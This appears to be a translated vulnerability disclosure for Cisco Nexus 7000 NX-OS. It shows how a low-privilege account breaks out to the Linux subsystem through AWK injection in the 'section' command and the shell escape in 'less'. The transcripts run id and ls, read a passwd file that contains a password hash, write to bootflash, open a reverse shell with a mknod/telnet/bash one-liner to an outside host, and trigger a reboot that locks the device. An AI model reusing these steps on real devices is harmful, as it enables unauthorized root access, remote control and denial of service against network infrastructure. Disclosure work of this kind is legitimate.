需要本地访问权限。然而,非特权账户可以获得底层 Linux 操作系统的访问权限,从而实际上获得对设备的完全访问权限。在允许 NOC 及其他员工为一线响应等目的而拥有低级别访问权限的环境中,这可能会导致问题。
此问题在 Nexus 7000 平台上发现。据信以下平台也可能受到影响:
section 命令似乎是一个 AWK 脚本,请求的字符串会被传递给该脚本。然而,输入似乎没有被正确清理。因此,可以利用 AWK 在 Linux 子系统上执行任意命令。
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
这甚至可以用来删除 bootflash 上的所有文件,并向系统发出 'reboot' 命令。然而,从 Linux 子系统重启会导致设备向控制台持续输出消息并锁定,而不是真正地重新加载设备。
据信以下软件版本会受到影响:
例如:
switch# sh clock | less
当 less 界面出现后,我们可以通过按冒号键,然后按 "e" 并指定文件路径来打开文件。
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
然而,这同样只是只读访问。但是,如果我们使用 "|"(管道)和 "$" 键宏,就可以执行命令。
!ls -lah > /bootflash/20110715
如下所示,该文件已在 boot-flash 上创建。
switch# dir
97 Jul 15 12:01:44 2011 20110715
使用这种方法,我已经能够通过以下命令在 NX-OS Linux 子系统上建立远程 shell:
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
即使是 reboot 命令也会被接受为有效输入。然而,它并不会重启设备,而是会导致系统锁定,同时向控制台持续输出错误。
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):